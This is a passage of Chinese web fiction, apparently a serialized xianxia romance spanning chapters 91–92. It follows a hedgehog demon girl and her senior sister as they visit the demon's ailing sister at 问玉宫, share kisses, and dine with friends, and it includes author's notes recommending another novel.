还是温和的语调,却让小妖脊背发凉,她缩进姐姐怀中,小声道:“我会一直喜欢师姐的。” 裴依宁食指虚虚搭在唇上,小妖“哦”了声,不再说话。 裴依宁:“假若真的有那么一天,我绝不会阻拦星星奔赴另外的选择。”她停顿半秒,“但我并不认为,有人比我更与星星般配,我也不认为,会有那么一天。” 小刺猬这般天真单纯,认定一个绝不会轻易改变。裴依宁对自己有信心,更对小刺猬有信心。 云樾翘翘唇,没再问了。 她的后背一层层地冒着冷汗,身体的一部分更为单薄,似乎有层虚无的透明覆盖在她身上。 云樾呼吸重了几分,她生生克制住,一把拽住问亦云搭在她腿上的手,修剪圆润的指甲用力掐住,以此来缓解身体的不适。 裴依宁一直是站着的姿态,将云樾的反应看得一清二楚,小刺猬被云樾单手抱在怀中,并不能察觉到姐姐身体的变化。 【带她出去。】灵海内传入一道声音。 是问亦云的。 裴依宁心念一动地要去寻借口,但已经有人先她一步。 云樾单手捋着小刺猬的毛:“星星,姐姐和问……和你问姐姐有点事要处理,晚些姐姐再去看你,好不好?” 小刺猬不舍得这么快和姐姐分开,分明才见到没多久,连话都没说上几句。 但她还是垂下头,懂事地跳上裴依宁怀中,挥挥爪子,和姐姐告别:“姐姐,我走了。” 云樾:“好。” 小刺猬不满:“姐姐都不送我吗?” 云樾笑,她撑着问亦云,舌尖用力顶在下齿,起身:“嗯嗯嗯,送你。” 她身体越来越多的地方呈现出透明,裴依宁尽量用身体遮挡小刺猬部分视线,再加上问亦云的障眼法,小刺猬没能察觉出异样。 等裴依宁和小刺猬离开后,云樾强撑着的身体终于是忍不住,她斜靠上问亦云,眼睛微微眯起,大口大口地喘息,身体近乎全部变成透明状。 手背上出现一道道血痕,问亦云习以为常地甩甩手:“那日你不应该踏出问玉宫的,我可以帮你把云榆带回来。”她拦腰抱起云樾往里走,“只要你向我开口。” 云樾紧皱眉头。 问亦云抱着她,灵力源源不断地注入她体内:“你妹妹方才也说了,我的灵识替她挡去了数道攻击。” “安心在这里养身体,等养好了……会让你出去的。” 云樾嗤笑:“问亦云,是不是很开心,我亲口承认了你的身份,嗯?” 同样尾调上扬的嗯,在与云榆说时,是无限的宠溺和纵容,可在与她说时,只剩无尽的讽刺。 问亦云压了压唇:“我先用灵力替你温养身体。” 云樾别过头,闭上眼。 对比太过强烈,方才云樾能忍着身体的不适与小刺猬温声细语的说话,面对她时,无时不刻不在无视。 挤压在心底的不甘一跃而起,问亦云咬着牙,低头凑到云樾耳边:“是啊,你知道听见你在你妹妹面前承认我的时候,我有多爽吗?比你在床上……” “问亦云!”云樾猛地睁开眼,“这几天,你给我好好装个人样。” 作者有话说: 再来推推好朋友全麦兔司面包的文,超好看 《网恋富婆竟是白月光影后》 小夏总的偶像是戚影后。 她毫不掩饰对戚雪的激推属性:会给戚雪画同人,会用“戚影后的狗”做微博头像,会穿着应援色的T恤到处跑…… 夏瑜每天必做事项: 1,刷和戚雪有关的消息。 2,发表夸戚雪的彩虹屁 3,和知心网友聊戚雪 久而久之,只有一位同是雪粉的温柔富婆没有屏蔽她。 对方工作很忙,无法及时回复消息。但夏瑜的每条长篇大论,那位姐姐都会看,并至少留下“嗯”一声。 权当“已阅”。 夏:快来看雪宝的剪辑!她好会演!什么活动还要我的神仙老婆亲自出席!难怪我今天主页蓬荜生辉,原来是刷到神仙了!(连发十八条彩虹屁) 归云:(三小时后)嗯。路演的签名帮你拿了,过两天记得收一下。签名海报.jpg 夏:你有上周公益打卡的物料吗?我给你寄一箱,不是!寄一点?一不小心把零花钱都砸了……狗狗含泪.jpg 归云:(第二天早上)我有一份了,没钱吃饭和我说。不带脸的自拍.jpg 夏瑜心虚收起手机,全然没注意到,那自拍背景中露出一角的剧本。 直到某天…… 参加完活动的夏瑜,在酒店走廊捡到一个做梦都想不到的人。 灯光昏黄,前后皆是猩红地毯。而戚雪就站在走廊中间,墨色长发如藻四散,她凤眼轻瞥,毫不犹豫倒进夏瑜怀里。 “抱紧我……”淡淡酒气混着一股馨香,铺天盖笼罩住,手脚一同僵硬的夏瑜。 让她无暇去想,耳边擦过的那一点柔软,究竟是什么。 归云:然后呢? 夏:我当然是飞快推开了! 夏:偶像就是偶像!偶像怎么可能变成妻子! 夏:对了姐姐,不是说等这段时间忙完一起出去玩的吗?我都有空!小狗叼玫瑰.jpg “……”对面的戚雪放下手机,轻轻叹了口气。 花这么久引导小朋友开窍,怎么好像……开错方向了? 温柔钓系影后x甜妹富二代粉丝【你现在阅读的是 】 90-100 第91章 第九十一章[VIP] 拥着裴依宁原路返回, 小刺猬两只爪子自然而然地垂在女人的小臂上,她偏着头,眼眶的红润尚不能完全褪去,眼底蒙着飘渺的雾气。 入眼处尽数是白色, 透过水雾看多了, 逐渐适应。小刺猬扒拉眼睛。 没能扒拉几下,小爪子被温软的掌心扣住, 裴依宁无奈而轻声地说:“不要用爪子揉眼睛, 会伤到眼睛的。” 小刺猬没个轻重,爪尖若是不小心弄伤眼睛就不好了。 凭空取出一张手帕, 根根分明的长指将手帕卷在指尖,缓而耐心地擦拭小刺猬的眼睛。 柔软顺滑带着凉意的手绢自脸上划过, 小刺猬脸上被泪水打湿黏在一起的毛发被很好的擦拭干净。 女人细心地在小刺猬眼周点了几下,最后曲指在小刺猬脑门上弹了下:“见到姐姐开心吗?” “开心,”小刺猬重重点头,亮色眸子中注满喜悦和回味,她在女人手臂上转身, 面对面地与师姐道, “星星很开心。” 唯一让她觉得遗憾的, 是只和姐姐待了一会儿, 满打满算恐怕就两柱香的时间。 一点都赶不上这些年的思念。 小刺猬弱弱地开口:“姐姐看样子好忙, ”没有察觉到云樾状况的她, 已经自行为姐姐找借口了,“这么忙, 怪不得没有时间看来我。” 目睹云樾身体呈现半透明状的裴依宁怔愣了瞬, 她下意识扭头望向方才出来的那间殿宇。 周围的疗愈之力还有,可远没有云樾所待的那间殿宇浓厚, 两相对比之下,几近于无。 她自幼专研医药,翻阅过无数古籍,见过各种病症,从未听闻过如云樾那般的情况。 怪不得当时她说想尝试为云樾治疗时,问亦云只是喊了声她的名字,将话题直接转向别处。 也是了,依照问玉宫的底蕴,想找到一位能力出众的炼丹师并不难。而她,也的确暂时找不到更好的方式为云樾治疗。 裴依宁垂下眼帘,怀中的小刺猬津津有味地说着方才与姐姐见面的事,提及小时候的时候。 而最让小刺猬情绪激动的,是在向姐姐介绍她时。 小刺猬仰起头,抓住女人衣襟,下肢轻轻蹬在师姐的手臂上,借力一爬,然后跃动身形,跳到裴依宁的肩膀上。 “师姐,本星星除了你之外,不会喜欢上别人。”小刺猬双爪叉腰,挺起小肚子,一本正经的严肃中透露出几分好笑,“师姐也是这样吗?” 当时师姐的回答她可是记在心底,反复在脑海中咀嚼品味。 没有人比师姐与她更般配。 小刺猬唇角压不住地扬起。 裴依宁并不急着回答某位洋洋得意的小刺猬,两指捏住小刺猬脊背上的一根软刺,将小刺猬提了起来。 小刺猬四肢垂下,脊背半朝向天空。裴依宁另只手戳上小刺猬的肚子:“除我之外,不会喜欢上别人。那除我之外,是否会让别的人摸呢?” 小刺猬:“……” 师姐真记仇,这件事都过去好几柱香的时间了,旧事重提,翻旧账,不是好师姐。 坏蛋裴依宁。 被提溜起的小刺猬四肢悬空,在空气中上演一套气势汹汹,实则毫无杀伤力的组合拳。 见裴依宁不为所动,小刺猬默默地缩起四肢,小声为自己辩解:“风师姐不是别人,她是,她是……” 小刺猬说不出个所以然,心虚地瞄了眼裴依宁,爪子握拳拍在另一只摊开的爪子上:“她是师姐的好朋友。” 哽住了这么久,就编出这么个理由,裴依宁被逗笑了,若有所思地“嗯”了声,继而问:“原师姐也是我的朋友,宗门内更是一个朋友套着一个朋友,按照星星的说法,是不是宗门内和你认识的人,都可以摸你?” 小刺猬:“……原师姐不会摸我。”说完后,想到上次杜寻雁在背后说人被抓包,小刺猬连忙转头环顾四周,没瞧见原师姐的身影才是放下心。 她没好气地晃动身体,在不断来回的摆动中积蓄力量,随后,一个冲刺。 被捏住的那根刺从女人手中滑落,小刺猬瞬间化身成球,朝远方俯冲而去。 体内的灵力还没恢复,动用不得,加之一切发生的过快,小刺猬根本没料到裴依宁会抓不稳她,用了十成十的力气,眼下想收也来不及。 裴依宁伸手去抓她,某只小刺猬却像条泥鳅从她掌边擦过。 不知是何原因,小刺猬落下的地方被打下数个小洞,小刺猬一头扎入其中一处孔洞,头朝下,直直地插入其中,整只腰身只露出一小点在外。 小刺猬下肢抖动,眼前变黑,身形被禁锢在这方小空间中,上下不得。 下一秒,一股牵扯力传来,有人抓住了她的下肢。 裴依宁展现出良好的素养,面无表情地拎着小刺猬顺着水流声的方向去。她拎小刺猬的那条手臂伸地很直,以至于小刺猬离她有些距离。 大喇喇的嫌弃。 小刺猬:“……” 她低头,只是身体有些脏而已。 裴依宁给她使用了个净身术,途中遇到问玉宫的人,她态度极好地将人拦住,询问此处是否有流水。 水流声在不远处,但毕竟是别人地盘,有时候总是要问一问的好。 问玉宫那人奇怪地看了眼女人伸直的手臂和被拉远的小刺猬,指向斜侧方:“二位,直走十数米,拐弯便能看见一条小河。但那河很小,不知二位是?” 裴依宁抬抬小刺猬:“给她洗洗刺。” 问玉宫人:“那是够的,请。” 等到了地方,小刺猬终于明白为什么问玉宫那人要强调这条河很小了。 不过半尺宽,两侧被灵玉打造的白壁拦住,蜿蜒向前。 堪堪能将整只小刺猬放进去。 流水声是从何处而来,小刺猬不觉间往另一处看去。 源头处被分割是数十道差不多大小的沟渠,向着四面八方流去,形成四通八达的水系。但每一条水系的宽度都只有半尺左右,着实让人弄不明白为何要这样。 问玉宫的布置摆布与外界有很大差别,不能以寻常思维思考。 毕竟没有哪方势力奢靡到全部建筑,即使是里面的家具陈设,都是用玉石打造而成。 小刺猬翻转不得,被动地让师姐一捧捧水的往身上浇。 温凉的河流淅淅沥沥地被刺切割,小刺猬耷拉着小脑袋,恨不得钻回那个地洞中。 眼角的余光往上一抬,就见某位师姐挑起半边眉,似乎是对她先前的行为多有不解。 身体的每处都被摸了个遍,小刺猬毫无生机地从小河中钻出,用力甩动身体,飞溅的水如下了场雨,将女人的衣衫浸润湿。 清洗干净的小刺猬张开爪臂,等着师姐将她抱起。 裴依宁眼底闪过浓重的笑意,她半蹲下身,就这么与小刺猬对视着:“怎么了?” 小刺猬脸红:“我现在洗干净了,抱我。” 裴依宁思索:“若是你还像之前那样乱动,再往洞里钻怎么办?” 什么叫往洞里钻,是她想钻的吗?分明是裴依宁没有捏紧她,害得她丢尽了妖脸。 对,她云小刺猬没有半分问题,都是师姐的错。 还好没有别其她人看见,否则她都没脸出来了。 经历一通心理暗示,某只不讲理的小妖恶狠狠地抓住裴依宁的衣摆,蹿到女人的鞋面上,四肢并用地攀附到女人大腿上,一路到来女人肩膀处。 两只爪子一勾,抱住女人白皙细腻的脖颈,小刺猬张口就咬。 她含住师姐颈边软肉,牙齿不重不轻地摩擦。 小刺猬总是雷声大,雨点小。咬得并不疼。 裴依宁直起身,手拖在小刺猬下方,以免某只理不直气也壮的小刺猬不小心掉下去后,将这笔账再记到她头上。 莫名的,裴依宁脑海中浮现出问亦云颈部深深浅浅的伤口。 是被咬的吗? 她轻轻摇头,将这个可能性极低的想法抛去:“咬好了吗,星星?” 小刺猬哼哧哧地不理人。 裴依宁不紧不慢地直起腰,带着小刺猬往风浅念和原以诗所在的那座殿宇而去。 中途陆陆续续遇见问玉宫的人,小刺猬在乎形象,老实乖巧地蹲在女人肩膀上,只在无人的时候,挑拣裴依宁的错处。 “你就会欺负妖,你是坏师姐。”小刺猬双爪环抱,控诉,“最坏的师姐。” “星星,”裴依宁忽而打断她,很认真地说,“你什么时候能化成人形。” 小刺猬愣住:“什么?” 裴依宁重复问了遍。 小刺猬内视灵海,灵珠缓慢运行,上方隐约显示出几分色彩,她实话实说:“大概还需要十日吧,我需要灵力化形,维持人形。师姐怎么突然问这个?” 裴依宁:“我觉得你人形时比较可爱。” “……”小刺猬炸刺:“笨蛋裴依宁。” * 在问玉宫住了十数日,因有灵玉的温养,裴依宁三人体内的灵力恢复完全,小刺猬因修为较低,恢复稍显缓慢,却也能正常化成人形了。 小刺猬每日会被裴依宁带去与云樾说会话,但时间都不曾超过两柱香。 而问亦云每次都是靠在一根玉柱上,寂静无声的仿佛是个透明人,只在有人提及她时有所反应。 这日,小刺猬被裴依宁抱着从姐姐那离开,她时不时探出头,不多时又叹息地收回去,低喃道:“也不知道姐姐什么时候能忙完,现在连一起吃顿饭的功夫都没有。” 裴依宁揉揉她:“说不定过段时间就可以了。”她转移小刺猬的注意力,“星星这几日还不能化形吗?” 小刺猬懒洋洋地:“可以化形,前两日就可以化形了。”她故意仰起头,冷哼一声,“不想让你得逞。” 裴依宁:“嗯?” 回应她的依旧是冷哼。 这是还在记仇,就因为那日她说小刺猬的人形比本体可爱。 裴依宁失笑。 小刺猬斜斜地看了她一眼,一副大人有大量的样子,挥挥爪臂:“算了,念在这几日你抱着我来回走动的辛苦,本星星决定不跟你计较了,现在就化成可爱的人形。不过,本星星的本体也很可爱,知道吗?本体最可爱。” 在妖族的观念中,本体是所有形态中最好的,也是最能展现本性的。 小刺猬跳回地面,身体被一层灵力覆盖,随着灵力包裹面积的不断扩大,小刺猬的身形一点点变高,直到一阵强光过去,裴依宁下意识地眯起眼睛。 再一睁眼,一道纤长的人形出现。 云榆舔了下唇,妖族本性收敛许多,难耐地扭捏身体,哪里看得出本体的半分倨傲:“师姐,好久不见。” 裴依宁上上下下扫过她:“嗯呐,好久不见,多谢星星大人肯化作人形,让小跟班有幸窥见星星大人的另一种模样。” “师姐!”云榆幽怨地唤了声,耳尖晕上微末的红意,她微微低着头,不好意思地勾住师姐的衣衫,一步步地挪过去,肉眼可见肌肤的升温,“别说了。” 她害羞极了。 但凡能将本体的心态搬到人形就好了。 闻言,裴依宁歪过头,眼波流转间,指节分明的长指勾上云榆的下巴,指腹带力地将小妖的脸抬起。 云榆的脸瞬间爆红,支支吾吾地开口:“师……师姐?” 裴依宁拇指压在云榆的下唇,满足地喟叹声:“许久不变回人形,现在又需要一段时间来适应我们的关系了,是吗?” 她和师姐是道侣。 这一观念灌注脑中,云榆眨眨眼,一瞬不瞬地盯着看过去。 师姐浅淡的瞳孔中,写满了她的身影。 下巴处传过细微的疼痛,是她长久不做答,被师姐捏了下。 云榆回过神,唇角浮现一抹笑意,她径直上前半步,额头前抵,无限拉近她和师姐的距离,红唇张合间,咽下师姐身上浅淡飘散的药香:“怎么会,我与师姐最般配。” 本体时,她好像很少会注意到师姐身上的香气,可一化作人形,属于师姐的一切都变得好新奇,吸引她靠近。 分明本体,总是被师姐抱着的。 顶着一张红得发烫的脸颊说这话属实没有多大信服力,裴依宁蹂躏她的下唇,笑意更甚:“是吗?” 云榆:“是啊。” 有些熟悉人形了,云榆更近一步,一条腿几乎要卡尽裴依宁的□□,启唇咬住师姐的指尖,含糊却又让人听得清楚的话语传出:“师姐,我想亲你。” 她用眼神描摹师姐的唇形,那张脸上的红晕正一点点的消退,她单手圈住师姐的腰身:“可以吗,师姐?” 游刃有余的人反倒被她弄得措手不及,裴依宁喉咙动了动,低声提醒:“在外面。” 云榆下意识接道:“这有什么,我们妖族甚至可以在外面做……”她顿住,迎着裴依宁震惊不解的目光,硬生生转音,“做饭吃。” 裴依宁:“……” 所以某些小妖并非一窍不通,看样子懂得还不少,裴依宁没好气地往下一拍。 云榆泪眼汪汪地看向被打的那只手,可怜巴巴地举起,伸到师姐唇边:“师姐,疼。” 裴依宁指尖往她唇角塞进一个指节,堵住她续续不断的话语:“安静,回明越宗再说。” 她和师姐回明越宗还要一段时间,这段时间变成人形也不能和师姐亲亲吗?那她变成人形的意义是什么,还不如本体自在,可以随时和师姐还嘴。 瞧她越发可怜委屈的样子,裴依宁一时心软:“回殿里,四下无人时才能亲。” 云榆:“好耶。” 她口中含着裴依宁的指尖,语气激动地说这话时,尾音拉长,有种搞笑又奇怪的感觉。 裴依宁不急着将手抽出,一下下地点在云榆的唇上:“乖一点。” 回到殿内,由于裴依宁是与风浅念和原以诗同住一座殿宇,除却正殿还有左右两边的偏殿,这几日,小刺猬与裴依宁住一间,原以诗和风浅念住一间。 而原先分给小刺猬的那间,小刺猬醒来后再也没去过。 问亦云并不强求。 进入正殿,并没有看见原以诗和风浅念两人,为避免尴尬,裴依宁传音给两人,得知两人正在外散步后,才任由某只小妖将她拉入她们住的那间偏殿,重重合上门。 她被云榆轻轻推在玉质门板上,不待说什么,云榆已经贴近,气息交织间,云榆学着她的模样,指腹摩挲在她的下唇,揉出各种形状。 云榆怀念地:“师姐的唇,好软。” 她探头碰了碰,掌心护住师姐的后脑,刻在骨血中的妖族本性让她占据优势地位,近乎压迫地将师姐的两只手握住,叠放在一起。 她怜惜地曲起膝盖,顺着师姐优美的天鹅颈往上,烙印下一个个浅薄的吻,直到最后,隔着她压在师姐下唇的指,吻上师姐。 手指抽去,柔软温热的唇瓣彻底贴合,云榆瞳孔剧烈震颤,多久不曾品味的味道让她不住地想要深入,索取更多。 理智和本能相互交织,她好像知道她想要的是什么,又好像不知道她想要的是什么,神经被拉扯,护在师姐后脑的手上下滑动。 她沉迷于师姐的漩涡中,五指没入师姐的发中,发簪应声落地,墨色流水般的长发叠在玉门与肩膀上。 云榆眼神迷离地发觉师姐似乎在看她,于是束缚师姐双手的手松开,覆盖在师姐眼睛上。 鸦羽般的睫毛铺在掌心,可以感知到师姐眼睛在转动。 她的心跟着酥痒成一团春水。 “师姐。” 唇齿错开,她细细地吻在裴依宁的唇角,贪恋地喊女人的名字:“裴依宁。” 裴依宁神经紧绷,头皮发麻。 不同情景下,名字的叫法存着无数含义。在这个场景下,云榆是情难自禁地喊她名字。 云榆好像从没有在人形时喊过她的名字,总是在本体时,被她惹到了,才会气急败坏地说一句“笨蛋裴依宁”。 毫无杀伤力。 却在这时,用这种含糊地,带着情.欲的声调,吻着她喊她的名字。 解脱的双手推在云榆的胸口,并不用力。 只是因为无处安放。 “师姐,”云榆唇亮晶晶地,眼睛也是亮晶晶地,“师姐,师姐……” 呢喃的呼喊心喜的人。 裴依宁稍扬起头,落在唇边的细吻滑在女人的脖颈间,她回应面前人的呼唤:“星星,师姐在。” 她微蹙着眉,电流顺着尾椎骨直上大脑,绽放出一朵绚烂的烟火。 云榆克制着越发多的念想,心知不能在师姐肌肤上留下痕迹,克制地不敢过于深入。 浅尝辄止,并不能满足她十数日没和师姐亲近的心,她插入师姐发中的五指弯曲。 裴依宁扬起的头被摁下。 被云榆强势地摁下。 裴依宁有片刻失神,但很快,面前人贴近,重新含住她的唇。 渐入佳境的人没能发现外面的变化。 有两人踏入殿内。 风浅念似乎永远挂着笑意,天长地久中,眉宇间都染上亲和的神色:“问玉宫外能探查到的大阵有五座,无法探查到的阵法想来更多。无论是进入还是出去,硬闯都不是明智之举。” 原以诗:“再过几日,就到和问宫主约定放我们离去的日期。我们是回宗还是继续游历。” 风浅念想了想,打趣她:“器物堂的考核应当结束了,回宗门吧,我也算是尽到了支开原师姐的责任。” 原以诗淡淡地:“再加试一场便是,不是什么难事。” 风浅念笑道:“算了吧,依宁她们呢,回来了吗?” “咚”。 恰在此刻,门被撞到的沉闷声插入。 裴依宁气息不匀,无力地靠在玉门上,没有力气支撑地往下滑,被云榆捞起,按在门上。 这声闷响不止引得外面人注意,更让裴依宁混乱的思绪清醒。 “依宁?云师妹?”风浅念的声音逐渐靠近。 裴依宁本就紧绷的神经如同一根弦被捋得笔直。 云榆还在亲她,甚至因为她的不回应,不满地咬了下她的唇。 裴依宁轻哼声,怕被外人听见地将声音压在喉咙中。 妖族的恶劣在这刻尽显无余,感知到裴依宁身体在颤动。 云榆侧过头加深这个吻,胸前推拒的越发厉害,她握住师姐的那只手,惩罚性地捏了捏。 好在,门外的说话声渐渐远去。 那根神经猛然间断裂,裴依宁揪住云榆心口衣衫,抓握中,她听见小妖闷哼声。 云榆松开她,额头相抵地喘息:“对不起,师姐,弄疼你了吗?” 她毫无道歉该有的样子:“你好香。” “师姐,我想……想和你更贴近。” 作者有话说: 好久没写可能会被锁的内容了 等我找找手感 大概就在这几章 第92章 第九十二章[VIP] 问玉宫难得下了场大雪, 温度骤然降下,本就是白墙玉瓦的宫殿顷刻间与白茫茫的天地融合,连道路都难以看清。 殿前一簇簇万紫千红的花枝被白雪覆盖,没了半点颜色。 云榆披着一件大氅, 双手捂在唇边哈了口气, 再快速摩挲生热。 她体内的灵力维持人形的幻化,用来驱寒倒是费不了多少影响, 但小妖固执的没有用灵力。 站在殿前的女人握住她交叉取热的手, 指腹在云榆手背上轻轻滑过,火属性灵力注入云榆体内, 寒意被驱散大半。 云榆贪恋这份温暖,解开大氅, 收入空间储物,贴近裴依宁,视线凝视着不断坠落的雪花:“这里也会下雪吗?” 虽已是寒冬季节,但她们进入问玉宫的这段时日,颇有种四季如春的暖意。明越宗内亦是有布置阵法, 除却个别几处秘境和修炼场所, 其余之地与平日别无二致, 难以察觉到气候分明的变化。 问玉宫的这场大雪突如其来, 悄无声息地铺下, 等她和师姐醒来, 透过偏殿的窗户,就见到纷纷扬扬的雪花飘落。 推开门, 外面银装素裹一片。 裴依宁摇摇头, 这间宫殿内的疗愈之力似乎在增加,她灵识扩散至附近的几座宫殿, 无一例外,都有增加。 由此推算,位于问玉宫中心殿宇,云樾和问亦云所在的殿宇,疗愈之力应当更甚。 暖流在五脏六腑中流转,云榆只当是师姐的灵力属性。 有雪花飘上殿沿,玉砖堆积出厚厚一层,云榆拉着裴依宁往后退了两步:“现在还好,雪化的时候更冷,不知道我的灵力能不能在这几日多恢复点,不然非要被冻成冰雕,到时候师姐可以把我当成装饰品,摆放着留作观赏。” 裴依宁眼中浮着细碎的雪光,她攥紧云榆的手,淡声道:“不至于那般严重,我会为你取暖。” 云榆几乎是立刻接上的话:“用身体取暖吗?”意识到说错话,她抿了下唇,但已经收不回来了,她索性大着胆子将剩下的话语和盘托出,“就像是前几日那样,亲师姐也能获得热量。就像是全身都被调动,热乎乎的。” 提起这件事,裴依宁眉心蹙起,那日的窒息感太甚,她总有种呼吸不上来的错觉,可每当这时,云榆总是会松开她,放纵她调整呼吸的时候,吻上她的别处。 总归是妖族,即使化成了人形,妖族骨子里的强势和占有欲一点没少。 突然记起云榆那日的最后一句话,裴依宁额头突突直跳:“不是,用灵力为你取暖。这场雪持续不了多久。” 应和她这句话似的,冉寻的身影出现在这座殿宇前,她拱手对着两人一礼:“二位,今日问玉宫大雪,宫主特让我来询问各位是否适应,若是不适应,可将此处的雪清理干净。” 云榆暗暗给裴依宁竖起大拇指,竟然能预料到这件事。 她视线一转,冉寻正在看着她,似乎在等她的回答,云榆不动声色地将目光转到裴依宁身上,示意询问师姐。 她听从师姐的。 裴依宁传音询问过原以诗和风浅念的意愿后:“清理了吧,麻烦了。” 冉寻又是拱手一礼,长袖一挥,灵力波动引起空间震颤,不消片刻,纷扬的雪花连带地上铺着的厚被一同消失得无影无踪。 裴依宁叫住要走的人:“阁下,其它殿宇的雪?” 名义上是问其它,实则问的是云樾和问亦云居住的那间殿宇。在这层雪花散去后,这间殿宇的疗愈类恢复到原样。 她曾听闻专研阵法的好友说过,许多阵法无法出现在人前,但又有必要性,就会利用阴阳阵法布阵。 即外看或许只是平平无奇的阵法,内里却是另藏乾坤。 这场雪阵约莫是同样作用,掩盖另一座阵法的障眼法。 她对阵法专研不多,无法看透内在藏着的阵法,只能凭借感知到的猜测,与疗愈类相关。 冉寻道:“其它殿宇的自是还在。” 裴依宁心中了然。 冉寻前脚刚走,原以诗和风浅念后脚从殿宇内走出。 风浅念眉眼温柔,总是不慌不忙的,她缓而慢地环视殿前的清静:“这场雪来得快,去得也快。” 她和原以诗自是感知到这场雪来得不正常,算算日子,她们同问亦云约定要走的日子就在这两日:“依宁,我和原师姐明日便是要回宗门了,你和云师妹与我们一同,还是?” 裴依宁道:“我们留下来,过段时间再回去,宗主和灵丹堂堂主那边,辛苦你们帮我跑一趟。” 风浅念:“小事,何须客气。” 原以诗负手而立,不知在看向什么,云榆追寻原师姐的目光看过去,只瞧见白玉墙角下的一株小花。 那花不是摘种的,更像是破玉而出,历经方才的那场大雪,萎靡地耷拉脑袋,在微风中无声地晃动。 云榆松开与师姐交握的手,往后退了几步,靠在白玉墙上,她心思翻转,总觉得几位师姐话中有话,好似这场雪有所端倪。 她静下心,细细思索。 裴依宁眼角的余光瞥了眼后方的人,小妖垂着眼帘,长指曲起搭在鼻梁上,很明显在思考什么。 额角的碎发不时被风掀起,挑逗地忽上忽下,小妖简单地别过头,顺手勾起碎发放到耳边。 她收回目光,继续同风浅念道:“你和原师姐直接回宗门吗?我以为你们会先去向别处游历,一路拐回宗门。” 这几日她有意无意地见到两人之间的相处,比先前在宗门时更为熟稔,风浅念唤原以诗更加顺畅,尤其是两人不经意间的对视,流转在空气中的暧昧旖旎,裴依宁这个局外人看得透彻。 都说当局者迷,旁观者清,可这句话在风浅念这向来不适用,她清醒的知道自己的情感,知道自己想要什么。 每一次情绪的转变她都清晰无比。 就连原以诗喜欢她这件事,恐怕都是第一个察觉出来的。 而原以诗则是向来大大方方,从不掩饰从风浅念的偏爱。以至于两人之间的感情在宗门熟识她们的人之间向来不是秘密。 裴依宁有些看不懂两人究竟走到了哪一步。 风浅念笑道:“本意是这么打算的,但细想一番,我和原师姐刚游历完回宗,不过一两日就遇见了荒凉古地的阵法事件,又被带回到这里。峰阁内积压的事物还没来得及处理。而且器物堂这次的考核结果被传了过来,并不尽如人意,我和原师姐还是要回去看看的。” 提起这个,风浅念一阵头疼,原师姐不在,本次的考核题目由器物堂其她人出,难度想来不是很难,可只有半数通过。 回去后,免不了又要被那群师妹求助了。 她侧目看向原以诗,后者神情淡漠,事不关己的模样。 裴依宁:“也好。” 云榆在这个时候蹿了回来,她凑到裴依宁身边,躬着腰,像是做了坏事不敢见人:“风师姐。” 风浅念温和地弯下腰,与云榆保持同一水平线:“怎么了,云师妹?” 云榆不好意思地道:“风师姐,你能去趟剑法阁替我看看卞凝和应滟她们的恢复情况吗?不方便的话,传音问问杜师姐也可以。” 她灵力不足以传音至那么远的距离,先前让裴师姐替她传音问过,卞凝和应滟说已经恢复好了。可云榆怕这是两人不想让她担心故意说的。 杜师姐定然是会替她们隐瞒的,只能靠将要回宗门的风师姐和原师姐。 她不太敢和原师姐搭话,这件事只能求助风师姐。 裴依宁翘唇,看穿了小妖的想法。 风浅念莞尔:“可以啊,明日回宗后,我便去一趟剑法阁,还有别的事吗?” 云榆摇摇头:“没有了,谢谢风师姐。” 风浅念:“都是同宗师姐妹,不必跟我客气。” 殿宇内各项生活区一应尽全,因着明日她们二人要走的缘故,四人聚在一起吃了顿晚饭。 饭菜是裴依宁和风浅念做的,云榆和原以诗在一旁打下手。 接着殿内明亮柔和的光线,风浅念起身给几人倒了酒水。她举起酒杯,声线如四月春风,和煦温缓:“喝一杯?” 原以诗和裴依宁举起酒杯,云榆看看她们高举的酒杯,又看看自己杯内黄橙橙的汁水。 被区别对待了。 她一脸苦色地举起酒杯:“师姐们,你们有点过分了。” 裴依宁笑:“你还小,暂时不能喝。” 向来少见笑颜的原以诗亦是淡笑着点头:“的确,云师妹以果汁代酒吧。” 风浅念:“下次聚时,云师妹再碰酒吧。” 听听,听听,一个两个都是为她着想的。云榆憋着的气只能顺下去,弱弱地“哦”了声,表面不情不愿地与三人碰了下。 三位皆是被她幽怨的小表情逗笑。 裴依宁给她夹了块粉蒸肉:“尝尝你风师姐的手艺。” 云榆咬了口:“比裴师姐手艺好多了。” 裴依宁:“……” 风浅念轻笑声:“云师妹谬赞了。” 几人的话题少有落在修习上,酒水下肚,谈话越发大胆起来,裴依宁揉揉太阳穴,就见某只小妖偷偷探出手,捏住她腕边的酒杯,一点点地往反方向拉。 这是要偷喝酒。 裴依宁佯装没发现地垂下手,偷酒喝的小妖混乱地收回手,默默地拾起筷子,殷勤地给裴依宁夹了筷子粉条。 等裴依宁注意力专注到与风师姐和原师姐的烟花中,小妖不老实地跃跃欲试,第二次去偷师姐的酒杯。 偷酒壶过于明显,小酒杯目标较小。 云榆分析场上环境,两指勾住裴依宁的酒杯,随即将自己的那杯果汁换过去。她洋洋得意地捧起酒杯,抬手遮住点,唇压在师姐方才碰过的位置,酒杯倾倒。 酒水入口。 好辣。 绵软的口感抵不住舌尖的灼烧 云榆眼一闭,杯中酒水尽数下肚,红意肉眼可见地蔓延上。她趁着时机将酒杯换回来。 头晕晕沉沉的。 她用力眨眨眼,对面的人出现虚影,桌面上的菜品重叠,一筷子下去,怼在菜碟边的空处。 裴依宁偏头,小妖的脸红得不正常,坐姿歪歪扭扭地与桌面上的菜品斗智斗勇。 一连几次都没能戳尽菜碟,仅剩的理智告诉云榆要收回筷子。 她不舍桌上的美味,却不得不放下筷子,装作吃饱的样子。 风浅念给裴依宁传了个眼神,后者无奈地略一颔首。 这酒后劲大,云榆酒量本就不好,此刻有些晕了,裴依宁按住云榆的手腕,灵力注入其中炼化酒水。 忽地,云榆甩开她的手,直直地看向对面正在为风浅念夹菜的原以诗,水汪汪的眼睛一眨一眨地,手肘支撑在桌面,侧脸压在手背。 “原师姐。”云榆话音略有不清,眉目中有几分挣扎,似在思考要不要说接下来的话。 可酒壮怂人胆,她眉心紧皱:“我能问原师姐一个问题吗?” 桌面上三人的目光早就在她喊原以诗的时候移了过来,原以诗一顿:“可以。” 云榆提了下唇角:“原师姐,你能过来吗?我偷偷问你,不能被裴师姐和风师姐听见了。” 风浅念在桌下拍拍原以诗的腿,扬了下下巴。 原以诗起身,来到云榆身边:“云师妹。” 云榆撑着桌沿,一边肩膀提起,她舌尖在口腔两侧的软肉上乱转一通,混着淡淡的酒气,一个没站稳,被裴依宁眼疾手快地扶了下,不至于一头扎入满桌饭菜中。 